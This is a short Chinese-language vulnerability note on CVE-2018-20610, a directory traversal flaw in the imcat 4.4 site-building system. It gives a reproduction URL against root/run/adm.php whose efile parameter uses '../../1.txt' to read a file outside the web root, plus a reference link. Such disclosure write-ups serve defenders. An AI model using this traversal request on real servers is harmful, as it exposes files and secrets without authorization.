007-CVE-2018-20610 Imcat 4.4 敏感信息泄露.md

605 B / 2021-07-17 00:01:20

    # CVE-2018-20610 Imcat 4.4 敏感信息泄露

### 一、漏洞简介

imcat是一套基于PHP的开源建站系统。 imcat 4.4版本中的`root/run/adm.php`文件存在目录遍历漏洞。目前尚无此漏洞的相关信息，请随时关注CNNVD或厂商公告。

### 二、漏洞影响

imcat 4.4

### 三、复现过程

先在D盘创建1.txt

![](images/15890716764746.png)


Visit to `/root/run/adm.php?admin-ediy&part=edit&dkey=runs&dsub=&efile=../../1.txt&dialog=1546054963116&lang=cn `

![](images/15890716970273.png)


**参考链接**

https://github.com/AvaterXXX/CVEs/blob/master/imcat.md